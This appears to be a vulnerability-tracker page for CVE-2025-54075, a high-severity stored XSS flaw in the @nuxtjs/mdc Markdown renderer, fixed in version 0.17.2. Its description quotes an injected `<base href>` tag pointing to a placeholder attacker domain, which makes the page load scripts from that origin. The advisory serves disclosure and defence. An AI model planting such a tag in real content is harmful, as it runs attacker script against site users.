What’s Vulnerable › Vulnerabilities
CVE-2025-54075: mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)
- Severity: high (CVSS 8.3 v3.1)
- Exploited in the wild: not listed in CISA KEV
- EPSS: 0.3% probability of exploitation in the next 30 days
- Public exploit or detection template: none known
- Published: 2025-07-18 · updated 2026-06-17
- Weakness: CWE-79
Description
MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.
Affected products
- nuxt-modules mdc: before 0.17.2
References
- https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a
- https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82
- https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82
Get alerted when CVE-2025-54075 or the next vulnerability affects your stack